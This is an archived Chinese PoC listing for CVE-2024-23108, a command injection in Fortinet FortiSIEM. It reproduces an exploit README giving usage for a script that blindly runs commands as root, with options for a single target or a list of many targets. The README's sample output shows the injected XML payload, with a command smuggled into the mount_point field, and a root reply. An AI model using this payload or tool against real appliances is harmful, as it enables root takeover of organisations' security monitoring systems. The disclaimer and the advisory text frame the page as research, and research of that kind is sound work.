POC详情: f1cfae21fde678550b5ab843a5a0bfc0aed269d1

来源
关联漏洞
标题: Fortinet FortiSIEM 操作系统命令注入漏洞 (CVE-2024-23108)
描述:Fortinet FortiSIEM是美国飞塔(Fortinet)公司的一套安全信息和事件管理系统。该系统包括资产发现、工作流程自动化和统一管理等功能。 Fortinet FortiSIEM存在操作系统命令注入漏洞,该漏洞源于对特殊元素中和不当。攻击者利用该漏洞通过特制的API请求执行未经授权的代码或命令。以下版本受到影响:7.1.0版本至7.1.1版本、7.0.0版本至7.0.2版本、6.7.0版本至6.7.8版本、6.6.0版本至6.6.3版本、6.5.0版本至6.5.2版本、6.4.0版本至6.4.
描述
POC iteration for CVE-2024-23108
介绍
# CVE-2024-23108 POC

Proof of concept exploit to blindly execute commands as root on vulnerable FortiSIEM appliances.
I just quickly added the option to supply a list and added some coloring.
The orginal (and all the cred) goes to horizon3 (see blog post below)

## Blog Post

Root cause and indicators of compromise here:
[https://www.horizon3.ai/attack-research/disclosures/cve-2024-23108-fortinet-fortisiem-2nd-order-command-injection-deep-dive](https://www.horizon3.ai/attack-research/disclosures/cve-2024-23108-fortinet-fortisiem-2nd-order-command-injection-deep-dive)

### Follow the Horizon3.ai Attack Team on Twitter for the latest security research:

* [Horizon3 Attack Team](https://twitter.com/Horizon3Attack)
* [James Horseman](https://twitter.com/JamesHorseman2)
* [Zach Hanley](https://twitter.com/hacks_zach)

## Usage

```powershell
python3 CVE-2024-23108.py -h
usage: CVE-2024-23108.py [-h] -t TARGET [-l LIST] [-p PORT] -c COMMAND

options:
  -h, --help            show this help message and exit
  -t TARGET, --target TARGET
                        The IP address of the target
  -l LIST, --list LIST  File containing list of IP addresses
  -p PORT, --port PORT  The port of the Phoenix Monitor service (default: 7900)
  -c COMMAND, --command COMMAND
                        The command to blindly execute
```

### Single Target

```sh
python3 CVE-2024-23108.py -t <target_ip> -p <port> -c <command>
```

### Multiple Targets

```sh
python3 CVE-2024-23108.py -l <file_path> -p <port> -c <command>
```

### Example:
```sh
python3 CVE-2024-23108.py -l iplist.txt -p 7900 -c whoami

[!] Error connecting to 66.77.88.99: timed out
[!] Error connecting to 99.88.77.66: [WinError 10061] No connection could be made because the target machine actively refused it
[!] Error connecting to 88.77.99.66: timed out
[!] Error connecting to 66.77.99.88: timed out
[*] Sending to 77.99.66.88:
<TEST_STORAGE type="nfs">
    <server_ip>127.0.0.1</server_ip>
    <mount_point>/lala; whoami;</mount_point>
</TEST_STORAGE>
[+] Sent to 77.99.66.88!
[+] Received from 77.99.66.88: b'root'

```

## Disclaimer

This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
文件快照

[4.0K] /data/pocs/f1cfae21fde678550b5ab843a5a0bfc0aed269d1 ├── [2.5K] CVE-2024-23108.py └── [2.4K] README.md 0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。